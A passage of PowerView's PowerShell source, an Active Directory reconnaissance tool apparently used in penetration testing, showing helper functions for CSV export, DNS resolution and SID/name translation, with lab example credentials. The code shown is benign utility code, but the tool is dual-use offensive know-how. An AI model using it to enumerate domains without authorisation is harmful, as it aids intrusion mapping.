  1451.         [ValidateCount(2,2)]
  1452.         [int[]]$ValidateRange,
  1453.  
  1454.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1455.         [ValidateCount(2,2)]
  1456.         [int[]]$ValidateLength,
  1457.  
  1458.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1459.         [ValidateNotNullOrEmpty()]
  1460.         [string]$ValidatePattern,
  1461.  
  1462.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1463.         [ValidateNotNullOrEmpty()]
  1464.         [scriptblock]$ValidateScript,
  1465.  
  1466.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1467.         [ValidateNotNullOrEmpty()]
  1468.         [string[]]$ValidateSet,
  1469.  
  1470.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1471.         [ValidateNotNullOrEmpty()]
  1472.         [ValidateScript({
  1473.             if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
  1474.             {
  1475.                 Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
  1476.             }
  1477.             $true
  1478.         })]
  1479.         $Dictionary = $false,
  1480.  
  1481.         [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
  1482.         [switch]$CreateVariables,
  1483.  
  1484.         [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
  1485.         [ValidateNotNullOrEmpty()]
  1486.         [ValidateScript({
  1487.             # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
  1488.             # so one can't use PowerShell's '-is' operator to validate type.
  1489.             if($_.GetType().Name -notmatch 'Dictionary') {
  1490.                 Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
  1491.             }
  1492.             $true
  1493.         })]
  1494.         $BoundParameters
  1495.     )
  1496.  
  1497.     Begin {
  1498.         $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
  1499.         function _temp { [CmdletBinding()] Param() }
  1500.         $CommonParameters = (Get-Command _temp).Parameters.Keys
  1501.     }
  1502.  
  1503.     Process {
  1504.         if($CreateVariables) {
  1505.             $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
  1506.             ForEach($Parameter in $BoundKeys) {
  1507.                 if ($Parameter) {
  1508.                     Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
  1509.                 }
  1510.             }
  1511.         }
  1512.         else {
  1513.             $StaleKeys = @()
  1514.             $StaleKeys = $PSBoundParameters.GetEnumerator() |
  1515.                         ForEach-Object {
  1516.                             if($_.Value.PSobject.Methods.Name -match '^Equals$') {
  1517.                                 # If object has Equals, compare bound key and variable using it
  1518.                                 if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
  1519.                                     $_.Key
  1520.                                 }
  1521.                             }
  1522.                             else {
  1523.                                 # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
  1524.                                 if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
  1525.                                     $_.Key
  1526.                                 }
  1527.                             }
  1528.                         }
  1529.             if($StaleKeys) {
  1530.                 $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
  1531.             }
  1532.  
  1533.             # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
  1534.             $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator()  |
  1535.                                         # Find parameters that are belong to the current parameter set
  1536.                                         Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
  1537.                                             Select-Object -ExpandProperty Key |
  1538.                                                 # Find unbound parameters in the current parameter set
  1539.                                                 Where-Object { $PSBoundParameters.Keys -notcontains $_ }
  1540.  
  1541.             # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
  1542.             $tmp = $null
  1543.             ForEach ($Parameter in $UnboundParameters) {
  1544.                 $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
  1545.                 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
  1546.                     $PSBoundParameters.$Parameter = $DefaultValue
  1547.                 }
  1548.             }
  1549.  
  1550.             if($Dictionary) {
  1551.                 $DPDictionary = $Dictionary
  1552.             }
  1553.             else {
  1554.                 $DPDictionary = $InternalDictionary
  1555.             }
  1556.  
  1557.             # Shortcut for getting local variables
  1558.             $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
  1559.  
  1560.             # Strings to match attributes and validation arguments
  1561.             $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
  1562.             $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
  1563.             $AliasRegex = '^Alias$'
  1564.             $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
  1565.  
  1566.             switch -regex ($PSBoundParameters.Keys) {
  1567.                 $AttributeRegex {
  1568.                     Try {
  1569.                         $ParameterAttribute.$_ = . $GetVar
  1570.                     }
  1571.                     Catch {
  1572.                         $_
  1573.                     }
  1574.                     continue
  1575.                 }
  1576.             }
  1577.  
  1578.             if($DPDictionary.Keys -contains $Name) {
  1579.                 $DPDictionary.$Name.Attributes.Add($ParameterAttribute)
  1580.             }
  1581.             else {
  1582.                 $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
  1583.                 switch -regex ($PSBoundParameters.Keys) {
  1584.                     $ValidationRegex {
  1585.                         Try {
  1586.                             $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
  1587.                             $AttributeCollection.Add($ParameterOptions)
  1588.                         }
  1589.                         Catch { $_ }
  1590.                         continue
  1591.                     }
  1592.                     $AliasRegex {
  1593.                         Try {
  1594.                             $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
  1595.                             $AttributeCollection.Add($ParameterAlias)
  1596.                             continue
  1597.                         }
  1598.                         Catch { $_ }
  1599.                     }
  1600.                 }
  1601.                 $AttributeCollection.Add($ParameterAttribute)
  1602.                 $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
  1603.                 $DPDictionary.Add($Name, $Parameter)
  1604.             }
  1605.         }
  1606.     }
  1607.  
  1608.     End {
  1609.         if(!$CreateVariables -and !$Dictionary) {
  1610.             $DPDictionary
  1611.         }
  1612.     }
  1613. }
  1614.  
  1615. function Export-PowerViewCSV {
  1616. <#
  1617. .SYNOPSIS
  1618.  
  1619. Converts objects into a series of comma-separated (CSV) strings and saves the
  1620. strings in a CSV file in a thread-safe manner.
  1621.  
  1622. Author: Will Schroeder (@harmj0y)  
  1623. License: BSD 3-Clause  
  1624. Required Dependencies: None  
  1625.  
  1626. .DESCRIPTION
  1627.  
  1628. This helper exports an -InputObject to a .csv in a thread-safe manner
  1629. using a mutex. This is so the various multi-threaded functions in
  1630. PowerView has a thread-safe way to export output to the same file.
  1631. Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
  1632.  
  1633. Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
  1634.  
  1635. .PARAMETER InputObject
  1636.  
  1637. Specifies the objects to export as CSV strings.
  1638.  
  1639. .PARAMETER Path
  1640.  
  1641. Specifies the path to the CSV output file.
  1642.  
  1643. .PARAMETER Delimiter
  1644.  
  1645. Specifies a delimiter to separate the property values. The default is a comma (,)
  1646.  
  1647. .PARAMETER Append
  1648.  
  1649. Indicates that this cmdlet adds the CSV output to the end of the specified file.
  1650. Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
  1651.  
  1652. .EXAMPLE
  1653.  
  1654. Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
  1655.  
  1656. .EXAMPLE
  1657.  
  1658. Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
  1659.  
  1660. .INPUTS
  1661.  
  1662. PSObject
  1663.  
  1664. Accepts one or more PSObjects on the pipeline.
  1665.  
  1666. .LINK
  1667.  
  1668. http://poshcode.org/1590
  1669. http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
  1670. #>
  1671.  
  1672.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  1673.     [CmdletBinding()]
  1674.     Param(
  1675.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  1676.         [System.Management.Automation.PSObject[]]
  1677.         $InputObject,
  1678.  
  1679.         [Parameter(Mandatory = $True, Position = 1)]
  1680.         [ValidateNotNullOrEmpty()]
  1681.         [String]
  1682.         $Path,
  1683.  
  1684.         [Parameter(Position = 2)]
  1685.         [ValidateNotNullOrEmpty()]
  1686.         [Char]
  1687.         $Delimiter = ',',
  1688.  
  1689.         [Switch]
  1690.         $Append
  1691.     )
  1692.  
  1693.     BEGIN {
  1694.         $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
  1695.         $Exists = [System.IO.File]::Exists($OutputPath)
  1696.  
  1697.         # mutex so threaded code doesn't stomp on the output file
  1698.         $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
  1699.         $Null = $Mutex.WaitOne()
  1700.  
  1701.         if ($PSBoundParameters['Append']) {
  1702.             $FileMode = [System.IO.FileMode]::Append
  1703.         }
  1704.         else {
  1705.             $FileMode = [System.IO.FileMode]::Create
  1706.             $Exists = $False
  1707.         }
  1708.  
  1709.         $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
  1710.         $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
  1711.         $CSVWriter.AutoFlush = $True
  1712.     }
  1713.  
  1714.     PROCESS {
  1715.         ForEach ($Entry in $InputObject) {
  1716.             $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
  1717.  
  1718.             if (-not $Exists) {
  1719.                 # output the object field names as well
  1720.                 $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
  1721.                 $Exists = $True
  1722.             }
  1723.             else {
  1724.                 # only output object field data
  1725.                 $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
  1726.             }
  1727.         }
  1728.     }
  1729.  
  1730.     END {
  1731.         $Mutex.ReleaseMutex()
  1732.         $CSVWriter.Dispose()
  1733.         $CSVStream.Dispose()
  1734.     }
  1735. }
  1736.  
  1737. function Resolve-IPAddress {
  1738. <#
  1739. .SYNOPSIS
  1740.  
  1741. Resolves a given hostename to its associated IPv4 address.
  1742.  
  1743. Author: Will Schroeder (@harmj0y)  
  1744. License: BSD 3-Clause  
  1745. Required Dependencies: None  
  1746.  
  1747. .DESCRIPTION
  1748.  
  1749. Resolves a given hostename to its associated IPv4 address using
  1750. [Net.Dns]::GetHostEntry(). If no hostname is provided, the default
  1751. is the IP address of the localhost.
  1752.  
  1753. .EXAMPLE
  1754.  
  1755. Resolve-IPAddress -ComputerName SERVER
  1756.  
  1757. .EXAMPLE
  1758.  
  1759. @("SERVER1", "SERVER2") | Resolve-IPAddress
  1760.  
  1761. .INPUTS
  1762.  
  1763. String
  1764.  
  1765. Accepts one or more IP address strings on the pipeline.
  1766.  
  1767. .OUTPUTS
  1768.  
  1769. System.Management.Automation.PSCustomObject
  1770.  
  1771. A custom PSObject with the ComputerName and IPAddress.
  1772. #>
  1773.  
  1774.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  1775.     [OutputType('System.Management.Automation.PSCustomObject')]
  1776.     [CmdletBinding()]
  1777.     Param(
  1778.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  1779.         [Alias('HostName', 'dnshostname', 'name')]
  1780.         [ValidateNotNullOrEmpty()]
  1781.         [String[]]
  1782.         $ComputerName = $Env:COMPUTERNAME
  1783.     )
  1784.  
  1785.     PROCESS {
  1786.         ForEach ($Computer in $ComputerName) {
  1787.             try {
  1788.                 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
  1789.                     if ($_.AddressFamily -eq 'InterNetwork') {
  1790.                         $Out = New-Object PSObject
  1791.                         $Out | Add-Member Noteproperty 'ComputerName' $Computer
  1792.                         $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
  1793.                         $Out
  1794.                     }
  1795.                 }
  1796.             }
  1797.             catch {
  1798.                 Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
  1799.             }
  1800.         }
  1801.     }
  1802. }
  1803.  
  1804. function ConvertTo-SID {
  1805. <#
  1806. .SYNOPSIS
  1807.  
  1808. Converts a given user/group name to a security identifier (SID).
  1809.  
  1810. Author: Will Schroeder (@harmj0y)  
  1811. License: BSD 3-Clause  
  1812. Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain  
  1813.  
  1814. .DESCRIPTION
  1815.  
  1816. Converts a "DOMAIN\username" syntax to a security identifier (SID)
  1817. using System.Security.Principal.NTAccount's translate function. If alternate
  1818. credentials are supplied, then Get-ADObject is used to try to map the name
  1819. to a security identifier.
  1820.  
  1821. .PARAMETER ObjectName
  1822.  
  1823. The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
  1824.  
  1825. .PARAMETER Domain
  1826.  
  1827. Specifies the domain to use for the translation, defaults to the current domain.
  1828.  
  1829. .PARAMETER Server
  1830.  
  1831. Specifies an Active Directory server (domain controller) to bind to for the translation.
  1832.  
  1833. .PARAMETER Credential
  1834.  
  1835. Specifies an alternate credential to use for the translation.
  1836.  
  1837. .EXAMPLE
  1838.  
  1839. ConvertTo-SID 'DEV\dfm'
  1840.  
  1841. .EXAMPLE
  1842.  
  1843. 'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
  1844.  
  1845. .EXAMPLE
  1846.  
  1847. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  1848. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  1849. 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
  1850.  
  1851. .INPUTS
  1852.  
  1853. String
  1854.  
  1855. Accepts one or more username specification strings on the pipeline.
  1856.  
  1857. .OUTPUTS
  1858.  
  1859. String
  1860.  
  1861. A string representing the SID of the translated name.
  1862. #>
  1863.  
  1864.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  1865.     [OutputType([String])]
  1866.     [CmdletBinding()]
  1867.     Param(
  1868.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  1869.         [Alias('Name', 'Identity')]
  1870.         [String[]]
  1871.         $ObjectName,
  1872.  
  1873.         [ValidateNotNullOrEmpty()]
  1874.         [String]
  1875.         $Domain,
  1876.  
  1877.         [ValidateNotNullOrEmpty()]
  1878.         [Alias('DomainController')]
  1879.         [String]
  1880.         $Server,
  1881.  
  1882.         [Management.Automation.PSCredential]
  1883.         [Management.Automation.CredentialAttribute()]
  1884.         $Credential = [Management.Automation.PSCredential]::Empty
  1885.     )
  1886.  
  1887.     BEGIN {
  1888.         $DomainSearcherArguments = @{}
  1889.         if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
  1890.         if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
  1891.         if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
  1892.     }
  1893.  
  1894.     PROCESS {
  1895.         ForEach ($Object in $ObjectName) {
  1896.             $Object = $Object -Replace '/','\'
  1897.  
  1898.             if ($PSBoundParameters['Credential']) {
  1899.                 $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
  1900.                 if ($DN) {
  1901.                     $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  1902.                     $UserName = $DN.Split(',')[0].split('=')[1]
  1903.  
  1904.                     $DomainSearcherArguments['Identity'] = $UserName
  1905.                     $DomainSearcherArguments['Domain'] = $UserDomain
  1906.                     $DomainSearcherArguments['Properties'] = 'objectsid'
  1907.                     Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
  1908.                 }
  1909.             }
  1910.             else {
  1911.                 try {
  1912.                     if ($Object.Contains('\')) {
  1913.                         $Domain = $Object.Split('\')[0]
  1914.                         $Object = $Object.Split('\')[1]
  1915.                     }
  1916.                     elseif (-not $PSBoundParameters['Domain']) {
  1917.                         $DomainSearcherArguments = @{}
  1918.                         $Domain = (Get-Domain @DomainSearcherArguments).Name
  1919.                     }
  1920.  
  1921.                     $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
  1922.                     $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
  1923.                 }
  1924.                 catch {
  1925.                     Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
  1926.                 }
  1927.             }
  1928.         }
  1929.     }
  1930. }
  1931.  
  1932. function ConvertFrom-SID {
  1933. <#
  1934. .SYNOPSIS
  1935.  
  1936. Converts a security identifier (SID) to a group/user name.
  1937.  
  1938. Author: Will Schroeder (@harmj0y)  
  1939. License: BSD 3-Clause  
  1940. Required Dependencies: Convert-ADName  
  1941.  
  1942. .DESCRIPTION
  1943.  
  1944. Converts a security identifier string (SID) to a group/user name
  1945. using Convert-ADName.
  1946.  
  1947. .PARAMETER ObjectSid
  1948.  
  1949. Specifies one or more SIDs to convert.
  1950.  
  1951. .PARAMETER Domain
  1952.  
  1953. Specifies the domain to use for the translation, defaults to the current domain.
  1954.  
  1955. .PARAMETER Server
  1956.  
  1957. Specifies an Active Directory server (domain controller) to bind to for the translation.
  1958.  
  1959. .PARAMETER Credential
  1960.  
  1961. Specifies an alternate credential to use for the translation.
  1962.  
  1963. .EXAMPLE
  1964.  
  1965. ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
  1966.  
  1967. TESTLAB\harmj0y
  1968.  
  1969. .EXAMPLE
  1970.  
  1971. "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
  1972.  
  1973. TESTLAB\WINDOWS2$
  1974. TESTLAB\harmj0y
  1975. BUILTIN\Distributed COM Users
  1976.  
  1977. .EXAMPLE
  1978.  
  1979. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  1980. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
  1981. ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
  1982.  
  1983. TESTLAB\harmj0y
  1984.  
  1985. .INPUTS
  1986.  
  1987. String
  1988.  
  1989. Accepts one or more SID strings on the pipeline.
  1990.  
  1991. .OUTPUTS
  1992.  
  1993. String
  1994.  
  1995. The converted DOMAIN\username.
  1996. #>
  1997.  
  1998.     [OutputType([String])]
  1999.     [CmdletBinding()]
  2000.     Param(
  2001.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  2002.         [Alias('SID')]
  2003.         [ValidatePattern('^S-1-.*')]
  2004.         [String[]]
  2005.         $ObjectSid,
  2006.  
  2007.         [ValidateNotNullOrEmpty()]
  2008.         [String]
  2009.         $Domain,
  2010.  
  2011.         [ValidateNotNullOrEmpty()]
  2012.         [Alias('DomainController')]
  2013.         [String]
  2014.         $Server,
  2015.  
  2016.         [Management.Automation.PSCredential]
  2017.         [Management.Automation.CredentialAttribute()]
  2018.         $Credential = [Management.Automation.PSCredential]::Empty
  2019.     )
  2020.  
  2021.     BEGIN {
  2022.         $ADNameArguments = @{}
  2023.         if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
  2024.         if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
  2025.         if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
  2026.     }
  2027.  
  2028.     PROCESS {
  2029.         ForEach ($TargetSid in $ObjectSid) {
  2030.             $TargetSid = $TargetSid.trim('*')
  2031.             try {
  2032.                 # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
  2033.                 Switch ($TargetSid) {
  2034.                     'S-1-0'         { 'Null Authority' }
  2035.                     'S-1-0-0'       { 'Nobody' }
  2036.                     'S-1-1'         { 'World Authority' }
  2037.                     'S-1-1-0'       { 'Everyone' }
  2038.                     'S-1-2'         { 'Local Authority' }
  2039.                     'S-1-2-0'       { 'Local' }
  2040.                     'S-1-2-1'       { 'Console Logon ' }
  2041.                     'S-1-3'         { 'Creator Authority' }
  2042.                     'S-1-3-0'       { 'Creator Owner' }
  2043.                     'S-1-3-1'       { 'Creator Group' }
  2044.                     'S-1-3-2'       { 'Creator Owner Server' }
  2045.                     'S-1-3-3'       { 'Creator Group Server' }
  2046.                     'S-1-3-4'       { 'Owner Rights' }
  2047.                     'S-1-4'         { 'Non-unique Authority' }
  2048.                     'S-1-5'         { 'NT Authority' }
  2049.                     'S-1-5-1'       { 'Dialup' }
  2050.                     'S-1-5-2'       { 'Network' }
  2051.                     'S-1-5-3'       { 'Batch' }
  2052.                     'S-1-5-4'       { 'Interactive' }
  2053.                     'S-1-5-6'       { 'Service' }
  2054.                     'S-1-5-7'       { 'Anonymous' }
  2055.                     'S-1-5-8'       { 'Proxy' }
  2056.                     'S-1-5-9'       { 'Enterprise Domain Controllers' }
  2057.                     'S-1-5-10'      { 'Principal Self' }
  2058.                     'S-1-5-11'      { 'Authenticated Users' }
  2059.                     'S-1-5-12'      { 'Restricted Code' }
  2060.                     'S-1-5-13'      { 'Terminal Server Users' }
  2061.                     'S-1-5-14'      { 'Remote Interactive Logon' }
  2062.                     'S-1-5-15'      { 'This Organization ' }
  2063.                     'S-1-5-17'      { 'This Organization ' }
  2064.                     'S-1-5-18'      { 'Local System' }
  2065.                     'S-1-5-19'      { 'NT Authority' }
  2066.                     'S-1-5-20'      { 'NT Authority' }
  2067.                     'S-1-5-80-0'    { 'All Services ' }
  2068.                     'S-1-5-32-544'  { 'BUILTIN\Administrators' }
  2069.                     'S-1-5-32-545'  { 'BUILTIN\Users' }
  2070.                     'S-1-5-32-546'  { 'BUILTIN\Guests' }
  2071.                     'S-1-5-32-547'  { 'BUILTIN\Power Users' }
  2072.                     'S-1-5-32-548'  { 'BUILTIN\Account Operators' }
  2073.                     'S-1-5-32-549'  { 'BUILTIN\Server Operators' }
  2074.                     'S-1-5-32-550'  { 'BUILTIN\Print Operators' }
  2075.                     'S-1-5-32-551'  { 'BUILTIN\Backup Operators' }
  2076.                     'S-1-5-32-552'  { 'BUILTIN\Replicators' }
  2077.                     'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
  2078.                     'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' }
  2079.                     'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' }
  2080.                     'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' }
  2081.                     'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' }
  2082.                     'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' }
  2083.                     'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' }
  2084.                     'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' }
  2085.                     'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' }
  2086.                     'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' }
  2087.                     'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' }
  2088.                     'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' }
  2089.                     'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' }
  2090.                     'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' }
  2091.                     'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' }
  2092.                     'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' }
  2093.                     'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' }
  2094.                     'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' }
  2095.                     Default {
  2096.                         Convert-ADName -Identity $TargetSid @ADNameArguments
  2097.                     }
  2098.                 }
  2099.             }
  2100.             catch {
  2101.                 Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
  2102.             }
  2103.         }
  2104.     }
  2105. }
  2106.  
  2107. function Convert-ADName {
  2108. <#
  2109. .SYNOPSIS
  2110.  
  2111. Converts Active Directory object names between a variety of formats.
  2112.  
  2113. Author: Bill Stewart, Pasquale Lantella  
  2114. Modifications: Will Schroeder (@harmj0y)  
  2115. License: BSD 3-Clause  
  2116. Required Dependencies: None  
  2117.  
  2118. .DESCRIPTION
  2119.  
  2120. This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
  2121. and translates Active Directory names between various formats using the NameTranslate COM object.
  2122.  
  2123. .PARAMETER Identity
  2124.  
  2125. Specifies the Active Directory object name to translate, of the following form:
  2126.  
  2127.     DN                short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
  2128.     Canonical         canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
  2129.     NT4               domain\username; e.g., 'fabrikam\pflynn'
  2130.     Display           display name, e.g. 'pflynn'
  2131.     DomainSimple      simple domain name format, e.g. 'pflynn@fabrikam.com'
  2132.     EnterpriseSimple  simple enterprise name format, e.g. 'pflynn@fabrikam.com'
  2133.     GUID              GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
  2134.     UPN               user principal name; e.g., 'pflynn@fabrikam.com'
  2135.     CanonicalEx       extended canonical name format
  2136.     SPN               service principal name format; e.g. 'HTTP/kairomac.contoso.com'
  2137.     SID               Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
  2138.  
  2139. .PARAMETER OutputType
  2140.  
  2141. Specifies the output name type you want to convert to, which must be one of the following:
  2142.  
  2143.     DN                short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
  2144.     Canonical         canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
  2145.     NT4               domain\username; e.g., 'fabrikam\pflynn'
  2146.     Display           display name, e.g. 'pflynn'
  2147.     DomainSimple      simple domain name format, e.g. 'pflynn@fabrikam.com'
  2148.     EnterpriseSimple  simple enterprise name format, e.g. 'pflynn@fabrikam.com'
  2149.     GUID              GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
  2150.     UPN               user principal name; e.g., 'pflynn@fabrikam.com'
  2151.     CanonicalEx       extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
  2152.     SPN               service principal name format; e.g. 'HTTP/kairomac.contoso.com'
  2153.  
  2154. .PARAMETER Domain
  2155.  
  2156. Specifies the domain to use for the translation, defaults to the current domain.
  2157.  
  2158. .PARAMETER Server
  2159.  
  2160. Specifies an Active Directory server (domain controller) to bind to for the translation.
  2161.  
  2162. .PARAMETER Credential
  2163.  
  2164. Specifies an alternate credential to use for the translation.
  2165.  
  2166. .EXAMPLE
  2167.  
  2168. Convert-ADName -Identity "TESTLAB\harmj0y"
  2169.  
  2170. harmj0y@testlab.local
  2171.  
  2172. .EXAMPLE
  2173.  
  2174. "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
  2175.  
  2176. testlab.local/Users/krbtgt
  2177. testlab.local/Users/Administrator
  2178.  
  2179. .EXAMPLE
  2180.  
  2181. Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
  2182.  
  2183. CN=harmj0y,CN=Users,DC=testlab,DC=local
  2184.  
  2185. .EXAMPLE
  2186.  
  2187. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  2188. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
  2189. 'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
  2190.  
  2191. TESTLAB\harmj0y
  2192.  
  2193. .INPUTS
  2194.  
  2195. String
  2196.  
  2197. Accepts one or more objects name strings on the pipeline.
  2198.  
  2199. .OUTPUTS
  2200.  
  2201. String
  2202.  
  2203. Outputs a string representing the converted name.
  2204.  
  2205. .LINK
  2206.  
  2207. http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
  2208. https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
  2209. #>
  2210.  
  2211.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
  2212.     [OutputType([String])]
  2213.     [CmdletBinding()]
  2214.     Param(
  2215.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  2216.         [Alias('Name', 'ObjectName')]
  2217.         [String[]]
  2218.         $Identity,
  2219.  
  2220.         [String]
